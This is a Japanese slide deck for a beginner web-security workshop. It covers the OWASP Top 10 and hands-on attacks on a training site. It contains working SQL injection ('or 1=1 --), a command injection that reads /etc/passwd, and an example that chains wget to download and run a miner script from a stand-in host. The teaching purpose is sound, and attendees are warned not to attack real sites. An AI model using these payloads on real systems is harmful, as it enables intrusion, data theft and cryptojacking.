Slide 1

Slide 1 text

No content

Slide 2

Slide 2 text

0.自己紹介 1.目的とゴール 2.はじめに 2.1.現状把握 2.2.OWASP Top 10説明 3.説明&ハンズオン 4.まとめ eLV勉強会

Slide 3

Slide 3 text

Co-CreationLabのWifiに接続して、Firefoxで 「http://172.XX.XX.XX」に接続してください。 できない人は(゚Д゚)ノ 挙手 本資料は後でSpeakerDeckに上げるので がりがりメモらなくておkです( ´∀`)b  マークのあるページは写真NGでお願いします 個人情報とかあるので… eLV勉強会

Slide 4

Slide 4 text

eLV勉強会

Slide 5

Slide 5 text

eLV勉強会 名前(ハンドル) 柴雑種(@zash_shibainu) 名前(本名) 柴田 諭史 仕事(現在) フリーランス・エンジニア - インフラ - セキュリティ 職歴 2003~2006:プログラマ(デスマ多し…) 2006~2017:インフラエンジニア       (基幹系、オンプレ多し) 2017~2018:セキュリティエンジニア(派遣) 2018~:フリーランス

Slide 6

Slide 6 text

参加している団体とか OWASP一般会員(https://www.owasp.org/index.php/Japan) Webアプリのセキュリティの普及/啓蒙 OWASP Top 10、ZAP(診断ツール)、MutillidaeⅡなど SPREAD一般会員(https://www.spread.or.jp/)  ※マイスター 一般的なセキュリティの普及 eLV勉強会

Slide 7

Slide 7 text

この辺の勉強会もちょくちょく顔出してるので、知って る人いるかも… (許可取ってないので非公開で) eLV勉強会

Slide 8

Slide 8 text

2018/04/23昼公開 ↓ 夜には満席 ((((;゚Д゚)))) eLV勉強会 しかも25→30に 枠増やして貰って… (からの40枠)

Slide 9

Slide 9 text

eLV勉強会

Slide 10

Slide 10 text

目的: サイバー攻撃(Web脆弱性)を実際に体験する。 SQLインジェクション(SQLi) OSコマンドインジェクション(CMDi) クロスサイトスクリプティング(XSS) ゴール: サイバー攻撃を体感する。 危険性を学ぶ。 こんなん見えちゃったよ、おい((((;゚Д゚)))) ←ここ体験 どこに、どういう形で脆弱性が存在するか、その例を学ぶ。 eLV勉強会

Slide 11

Slide 11 text

今日のターゲット(皆さんの想定): IT開発に携わる人 アプリ インフラ ネットワーク セキュリティ 話のレベル感: これからWebセキュリティについて考えたい人 上からセキュリティについて言われているけど…という人 色々事件の話聞くけど、結局何よ?という人 eLV勉強会 ※説明用に、若干語弊のあるケースもあります。 今回ビギナー向けなので… 多分物足りないかと

Slide 12

Slide 12 text

今回、皆さんは一時的に攻撃者になり、不正アクセス などを行います。 あくまで学習用のサイトに対して、攻撃を行います。 一般のAmazonやGoogleなどのサイトに対して、 絶対に行わないでください。 アカウント停止(BAN)などされても、当方では責任は負いかねま す(;´Д`) eLV勉強会

Slide 13

Slide 13 text

できるだけスローペースを心掛けますが、 もし「何言ってんだこいつ」「もう少し詳しい説明を!」 とかあれば、遠慮なく言ってください。 私の独演会ではないので(;・∀・) きっと、あなたがわからないことは、他の誰かもわから ないです… あと、急に話を振ることもあるので( ・∀・) eLV勉強会

Slide 14

Slide 14 text

eLV勉強会

Slide 15

Slide 15 text

本章で話したいこと: 現在、ITを取り巻く環境ってどうなんでしょう? どのようなサイバー事件が起こっているのでしょう? 何か事前の参考情報ってないのでしょうか? eLV勉強会

Slide 16

Slide 16 text

突然ですが、何の数字かわかりますか? eLV勉強会

Slide 17

Slide 17 text

突然ですが、何の数字かわかりますか? eLV勉強会 http://goodfield.jp/2017/11/1425/ https://enterprisezine.jp/article/detail/10114

Slide 18

Slide 18 text

60兆あるとなにができるか… eLV勉強会 順位 会社名 億USD 兆JPY 1 アップル 8,385 88.0 2 アマゾン 7,599 79.8 3 マイクロソフト 7,185 75.4 4 アルファベット 7,070 74.2 5 フェイスブック 4,979 52.3 6 バークシャー・ハサウェイ 4,781 50.2 7 テンセント 4,759 50.0 http://www.180.co.jp/world_etf_adr/adr/ranking.htm ※1USD=105JPYで計算 ※2018年04月時点

Slide 19

Slide 19 text

つまり、 eLV勉強会

Slide 20

Slide 20 text

eLV勉強会

Slide 21

Slide 21 text

そもそも脆弱性(ぜいじゃくせい)って何? 早い話がプログラム/仕様/設定のバグです。 それが情報漏えいや改ざんなどのセキュリティ被害に繋がるもの。 eLV勉強会 サーバやパソコン Office (Word、Excel等) ブラウザ (Chrome、Edge等) その他 (Flash、Java等) OS(Windows、Mac、Linux) ファームウェア 設定ミス マサカリ覚悟の表現

Slide 22

Slide 22 text

脆弱性あるいはサイバー攻撃ってそんなあるもの? eLV勉強会 月 2017年:事件名 02 WP:150万以上のサイト改ざん 03 Struts2:S2-045/046(パーサ) 05 ランサム:WannaCry 06 ランサム:NotPetya 07 Struts2:S2-048(1系互換Plugin) 07 スウェーデン情報漏洩発表 08 PWD定期変更の変更ヽ( ^ω^)ノ 08 BGP事件(事故) 09 仮想通貨取引所へのDDoS 月 2017年:事件名 09 BlueTooth脆弱性(BlueBorne) 09 米Equifax情報漏洩(1.5億) 10 米Yahoo漏洩修正(10億→30億) 10 WPA2脆弱性(KRACKs) 10 ランサム:BadRabbit 11 米軍の情報がS3で公開設定 11 国内クラウドへのDDoS多発 12 米Alteryx情報漏洩(1.2億) 12 世界一有名なパスワード爆誕 From:Piyolog 脆弱性/ランサム/情報漏洩/その他

Slide 23

Slide 23 text

脆弱性があるとどうなるの? 意図しない動作が可能になり、色々できます(´・ω・`) eLV勉強会 Windowsの脆弱性(SMB:ファイル共有) HDD暗号化されます(´;ω;`) WannaCry (2017/05) URLをゴニョゴニョすると サイトが書き換えられてしまう… WordPress改ざん (2017/02) ※世界で  150万サイト以上 Struts2脆弱性 (2017/03~) リモートからプログラムが 実行できてしまう… (Equifax、日本郵便、国交省…) http://d.hatena.ne.jp/Kango/20170311/1489253880 AWS-S3設定ミス (数え切れず) 機密情報が丸見えに…

Slide 24

Slide 24 text

攻撃事例(一部): 本来は見えない、顧客情報リストなどの表示(情報漏えい) OSを乗っ取って、踏み台にする 社内への侵入経路、攻撃用の発射台、など。 サイトを書き換えて、使用不能にする(改ざん) ECサイトなどは致命傷!! ウィルスの配布元にされてしまうケースも… WannaCryのように、復旧と引き換えに金銭要求 単なる破壊工作のケースも(NotPetya:電力関係停止!) ランサムだけでなく、DDoS脅迫などのケースもアリ。 最近はもっと直接的に、仮想通貨掘りにきます… eLV勉強会

Slide 25

Slide 25 text

図にするとこんな感じです。 eLV勉強会 インターネット 攻撃者 ファイアウォール 一般ユーザ Webサーバ 非公開NW 公開用NW (DMZ) DBサーバ ・商品情報 ・顧客情報 社内LAN 攻撃者はここにある 情報が欲しい! 商品検索 そのために踏み台 にする サイト書き換えて 一般ユーザ騙す

Slide 26

Slide 26 text

eLV勉強会

Slide 27

Slide 27 text

急に話が飛びますが、OWASPってご存知でしょうか? eLV勉強会 https://www.owasp.org/index.php/Japan

Slide 28

Slide 28 text

以下OWASP Japanサイトから引用 日本に限らず、ワールドワイドに活動しているコミュニ ティです。 eLV勉強会 Webをはじめとするソフトウェアのセキュリティ環境の現状、 またセキュアなソフトウェア開発を促進する技術・プロセスに 関する情報共有と普及啓発を目的としたプロフェッショナルの 集まる、オープンソース・ソフトウェアコミュニティです。 日本国内でも色々イベント開催しているので 興味のある方は是非!

Slide 29

Slide 29 text

OWASP Top 10とは コミュニティに集められた情報から、最も重大と考えられる 10種類のWebアプリケーションリスクをまとめたもの。 あくまでTop 10であり、11位以降は気にしなくていい、ということ ではありませんので悪しからず… eLV勉強会

Slide 30

Slide 30 text

eLV勉強会 よく使われる攻撃 攻撃が容易なもの よくある(残っている) 脆弱性 攻撃成功時の ビジネスインパクトが大きい ・・・

Slide 31

Slide 31 text

何で今回OWASP Top 10なの? 最近(2017/11)アップデートされた けど、アップデートされたところは今回対象外です… PCI-DSS(クレジットカードの情報セキュリティ国際基準)で も採用されている。 セキュリティ製品の多くは、OWASP Top 10対応を謳っている。 そのぐらい、広く参照されているもの。 eLV勉強会 https://www.owasp.org/index.php/Japan

Slide 32

Slide 32 text

eLV勉強会 OWASP Top 10 - 2017 ①インジェクション ⑥不適切なセキュリティ設定 ②認証の不備 ⑦クロスサイトスクリプティング ③機微な情報の露出 ⑧安全でないデシリアラー ゼーション ④XML外部エンティティ参照 ⑨既知の脆弱性のあるコン ポーネントの使用 ⑤アクセス制御の不備 ⑩不十分なロギングとモニタリ ング 2ケース

Slide 33

Slide 33 text

本勉強会では、昔からよく知られている&わかりやす い、前ページ赤枠の3つのシナリオを体験します。 SQLインジェクション(SQLi) OSコマンドインジェクション(CMDi) クロスサイトスクリプティング(XSS) CSSじゃないのは、カスケード・スタイルシート(CSS)とスペル重な るから… eLV勉強会

Slide 34

Slide 34 text

eLV勉強会

Slide 35

Slide 35 text

ここから、実際に攻撃体験フェーズですv( ̄Д ̄)v 大体こんな感じで進めます。 攻撃概要の説明 攻撃実施(ヒントあり) 解説 皆さんブラウザの準備OK? 3.1.SQLインジェクション(SQLi) 3.2.OSコマンドインジェクション(CMDi) 3.3.クロスサイトスクリプティング(XSS) eLV勉強会

Slide 36

Slide 36 text

eLV勉強会

Slide 37

Slide 37 text

SQLインジェクション(SQLi)とは? SQL⇒ご存知の通り、データベース操作する言語です。 インジェクション(Injection)⇒「抽入」という意味 不正にWeb画面上で、SQLを記述して、想定外の動作を 起こさせる攻撃です。 eLV勉強会 正当なSQL +不当なSQL データベース 該当ユーザ検索 全ユーザ検索 ログインOK/NG ユーザリスト搾取

Slide 38

Slide 38 text

というわけで、百聞は一見にしかず、やってみましょう! ログイン画面から、こんな風に手繰ってください。 eLV勉強会

Slide 39

Slide 39 text

この画面には、SQLiの脆弱性が潜んでいます。 といきなり言われても…と思うので、徐々にヒント出し ます。 eLV勉強会

Slide 40

Slide 40 text

SQLi攻撃: ヒント1:わざとエラーを起こしてみましょう。 変な記号いれたりとか… ヒント2:エラーログ出ちゃってますね(;´Д`) ヒント3:'(シングルクオート)が文字区切りです。 「or 1=1」とすると全検索になります。 「--」がコメントアウトです。 eLV勉強会 SELECT * FROM accounts WHERE username=''&%$' ~~

Slide 41

Slide 41 text

攻撃成功例: eLV勉強会 'or 1=1 -- ※末尾にスペースあり アカウント一覧表示!

Slide 42

Slide 42 text

今回組み立てたSQL(成形)は下記です。 eLV勉強会 SELECT * FROM accounts WHERE username='' OR 1=1 -- AND password='' ユーザ名が''(空)のもの、 もしくは何でも出せ、という構文です。

Slide 43

Slide 43 text

eLV勉強会

Slide 44

Slide 44 text

OSコマンドインジェクション(CMDi)とは? OSコマンド⇒cat(ファイル内容表示)、cp、rmなど インジェクション⇒抽入 先ほどはSQL(データベース)でしたが、今度は直接OSコマン ド叩きます。 ということは…危険性は言わずもがな。 eLV勉強会 正当な処理 +不当な処理

Slide 45

Slide 45 text

SQLiとは別の画面で実行しますので、下記図のように 手繰ってください。 eLV勉強会

Slide 46

Slide 46 text

今回は以下のような手順で、攻撃を考えます。 (1):正常動作の確認 (2):(1)の結果から、どういう処理が発行されているか推測 (3):攻撃の仕込みの検討&攻撃実施 まずは正常動作を確認しましょう! eLV勉強会

Slide 47

Slide 47 text

DNS問い合わせの画面なので「www.elv.tokyo」で検索 します。 eLV勉強会

Slide 48

Slide 48 text

推測:どのようなコマンドが、裏で実行されているで しょうか? eLV勉強会 # alpine生だとdigは入ってないらしい… / # nslookup www.elv.tokyo Name: www.elv.tokyo Address 1: 133.242.182.28 www2014gj.sakura.ne.jp / # nslookup **が実行されているらしいので、 その後ろにコマンドが繋げられれば…

Slide 49

Slide 49 text

Linuxで1行で、複数行のコマンドを書くときはどうする でしょうか? そう、;や&&など使います! これを使って「/etc/passwd」でも表示(cat)してみま しょう! eLV勉強会 / # echo "hello"; echo "world" hello world / #

Slide 50

Slide 50 text

攻撃成功例: eLV勉強会 www.elv.tokyo; cat /etc/passwd nslookupの結果 cat **の結果

Slide 51

Slide 51 text

今回はcatだけでしたが、例えばwgetとか書いたらどう でしょうか。 コマンドも、3つ4つと続けて書けば… eLV勉強会 nslookup www.elv.tokyo; wget hxxp://example.jp/miner.sh; sh miner.sh wget miner.sh 実行

Slide 52

Slide 52 text

eLV勉強会

Slide 53

Slide 53 text

クロスサイトスクリプティングとは? クロスサイト(Cross-Site)⇒サイトを跨ぐ(今回は跨がない) スクリプティング(Scripting)⇒処理 サイトにトラップを仕掛け、別サイトに誘導や攻撃をさ せたり、怪しいリンククリックさせたり…と。 eLV勉強会 トラップ トラップ踏む 悪意あるサイト

Slide 54

Slide 54 text

今回はBlogに、XSSで罠を仕掛けます。 eLV勉強会

Slide 55

Slide 55 text

Blog本文(Comment)には、HTMLタグが使えるようです。 eLV勉強会 色々スクリプト構文 試してみましょう

Slide 56

Slide 56 text

今回、私はこんなもの仕込んでみました。 eLV勉強会 サングラス特売中!

Slide 57

Slide 57 text

間違ってリンク踏むと… 今回はAlertでポップアップ画面出すだけでしたが、 当然Scriptではもっと色々なことが… 最近だとコインマイナー多い? eLV勉強会

Slide 58

Slide 58 text

eLV勉強会

Slide 59

Slide 59 text

今回、メジャーな以下Web脆弱性3つを体験しました。 SQLインジェクション OSコマンドインジェクション クロスサイトスクリプティング オーソドックスな形式なら、意外と簡単にできません でした? つまり、攻撃はさほど難しいものではないのです。 eLV勉強会

Slide 60

Slide 60 text

では、容易に攻撃されないため、何をしたらいいで しょうか? まずはIPAの「安全なウェブサイトの作り方」などを参考にす ることをお勧めします! eLV勉強会 https://www.ipa.go.jp/security/vuln/websecurity.html

Slide 61

Slide 61 text

eLV勉強会